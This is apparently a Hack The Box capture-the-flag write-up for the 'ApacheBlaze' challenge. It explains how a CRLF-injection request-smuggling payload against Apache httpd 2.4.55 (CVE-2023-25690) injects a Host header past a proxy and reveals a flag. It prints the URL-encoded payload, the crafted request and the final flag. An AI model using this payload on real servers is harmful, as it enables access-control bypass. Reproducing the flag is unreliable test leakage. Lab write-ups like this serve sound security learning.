# Hack The Box - ApacheBlaze


When going to the application, we will see that there are four game to play, the last game catch in my eyes because it says something about the flag.
When click to that, it will prompt back `
This game is currently available only from dev.apacheblaze.local.
`

Now lets see the source code
```dockerfile=
#Dockerfile
FROM alpine:3
# Install system packages
RUN apk add --no-cache --update wget apr-dev apr-util-dev gcc libc-dev \
pcre-dev make musl-dev
# Download and extract httpd
RUN wget https://archive.apache.org/dist/httpd/httpd-2.4.55.tar.gz && tar -xvf httpd-2.4.55.tar.gz
WORKDIR httpd-2.4.55
# Compile httpd with desired modules
RUN ./configure \
--prefix=/usr/local/apache2 \
--enable-mods-shared=all \
--enable-deflate \
--enable-proxy \
--enable-proxy-balancer \
--enable-proxy-http \
&& make \
&& make install
# Move compiled httpd binary
RUN mv httpd /usr/local/bin
WORKDIR /
# Copy Apache config files
COPY conf/httpd.conf /tmp/httpd.conf
RUN cat /tmp/httpd.conf >> /usr/local/apache2/conf/httpd.conf
# Can't bind to port 80
RUN sed -i '/^Listen 80$/s/^/#/' /usr/local/apache2/conf/httpd.conf
# Copy challenge files
COPY challenge/frontend/src/. /usr/local/apache2/htdocs/
RUN mkdir /app
# Copy application and configuration files
COPY conf/. /app
COPY challenge/backend/src/. /app
# Install Python dependencies
RUN apk add --update --no-cache \
g++ \
python3 \
python3-dev \
build-base \
linux-headers \
py3-pip \
&& pip install -I --no-cache-dir -r /app/requirements.txt
# Add a system user and group
RUN addgroup -S uwsgi-group && adduser -S -G uwsgi-group uwsgi-user
# Fix permissions
RUN chown -R uwsgi-user:uwsgi-group /usr/local/apache2/logs \
&& chmod 755 /usr/local/apache2/logs \
&& touch /usr/local/apache2/logs/error.log \
&& chown uwsgi-user:uwsgi-group /usr/local/apache2/logs/error.log \
&& chmod 644 /usr/local/apache2/logs/error.log
# Switch user to uwsgi-user
USER uwsgi-user
# Expose Apache's port
EXPOSE 1337
# Run httpd and uwsgi
CMD ["sh", "/app/uwsgi/start_uwsgi.sh"]
```
In the docker file, we see that it will use `httpd version 2.4.55`, searching for vulnerability of this version, we will see this
https://httpd.apache.org/security/vulnerabilities_24.html

It have a HTTP request splitting CVE, so keep that in mind.
```python=
from flask import Flask, request, jsonify
app = Flask(__name__)
app.config['GAMES'] = {'magic_click', 'click_mania', 'hyper_clicker', 'click_topia'}
app.config['FLAG'] = 'HTB{f4k3_fl4g_f0r_t3st1ng}'
@app.route('/', methods=['GET'])
def index():
game = request.args.get('game')
if not game:
return jsonify({
'error': 'Empty game name is not supported!.'
}), 400
elif game not in app.config['GAMES']:
return jsonify({
'error': 'Invalid game name!'
}), 400
elif game == 'click_topia':
if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local':
return jsonify({
'message': f'{app.config["FLAG"]}'
}), 200
else:
return jsonify({
'message': 'This game is currently available only from dev.apacheblaze.local.'
}), 200
else:
return jsonify({
'message': 'This game is currently unavailable due to internal maintenance.'
}), 200
```
The backend is taking a `game` GET parameter, and then check if it is `click_topia` and have header `X-Forwarded-Host` is `dev.apacheblaze.local`, then we will see the flag
At first, i thought that i just have to change the value of `X-Forwarded-Host` to `dev.apacheblaze.local` but got nothing. So i print out the value to check.
```python=
elif game == 'click_topia':
# if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local':
if request.headers.get('X-Forwarded-Host'):
return jsonify({
# 'message': f'{app.config["FLAG"]}'
'message': f"{request.headers.get('X-Forwarded-Host')}"
}), 200
```

We can see that, it return a string of 3 host,so it won't match with this condition
``if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local'``
But why it return 3 hosts? Because the request is going through proxy and load balancer before it reachs the server.
```httpd=
ServerName _
ServerTokens Prod
ServerSignature Off
Listen 8080
Listen 1337
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
LoadModule slotmem_shm_module modules/mod_slotmem_shm.so
LoadModule lbmethod_byrequests_module modules/mod_lbmethod_byrequests.so
<VirtualHost *:1337>
ServerName _
DocumentRoot /usr/local/apache2/htdocs
RewriteEngine on
RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P]
ProxyPassReverse "/" "http://127.0.0.1:8080:/api/games/"
</VirtualHost>
<VirtualHost *:8080>
ServerName _
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
<Proxy balancer://mycluster>
BalancerMember http://127.0.0.1:8081 route=127.0.0.1
BalancerMember http://127.0.0.1:8082 route=127.0.0.1
ProxySet stickysession=ROUTEID
ProxySet lbmethod=byrequests
</Proxy>
</VirtualHost>
```
This is a Apache config file
``LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_balancer_module modules/mod_proxy_balancer.so``
Here we can see that it load proxy and balancer module so that this apache server will act like a proxy server to handle the request before it reachs the backend server.
```httpd=
RewriteEngine on
RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P]
ProxyPassReverse "/" "http://127.0.0.1:8080:/api/games/"
```
At this part, it will turn on the `Rewrite Engine` to perform URL rewrite functionality
```httpd
RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P]
```
This rule is designed to rewrite URLs that match the pattern `^/api/games/(.*)` and redirect them to `http://127.0.0.1:8080/?game=$1`
The `$1` represents the captured value from the pattern `(.*?)`, which is appended as the game query parameter in the redirected URL.
`[P]` is used to indicate that the rewrite rule should be processed as a proxy request. It instructs Apache to proxy the rewritten request to the target URL specified in the rule.
After googling about vulnerability of the Apache CVE, i see this [Github Repository](https://github.com/dhmosfunk/CVE-2023-25690-POC#internal-http-request-smuggling-via-header-injection) which show how to exploit with CRLF inject.

So now i will test on my `localhost`, i will print out every header

You see that it have print out the header `Foo` value.
So now i will try internal HTTP request smuggling with this payload
```%20HTTP/1.1%0d%0aHost:%20dev.apacheblaze.local%0d%0a%0d%0aGET%20/SMUGGLED```
```HTTP=
GET /api/games/click_topia%20HTTP/1.1%0d%0aHost:%20dev.apacheblaze.local%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: localhost:1337
```
After transformation with the rewrite rule, it will be like this
```
GET /?game=click_topia HTTP/1.1
Host: dev.apacheblaze.local
GET /SMUGGLED HTTP/1.1
Host: backend
```
When i print out the value of `X-Forwarded-Host` header, it just have the value of the `Host` header we smuggled


We can see that we successfully create 2 HTTP requests at the same time
Now go to the real server to get the flag

Flag : `HTB{1t5_4ll_4b0ut_Th3_Cl1ck5}`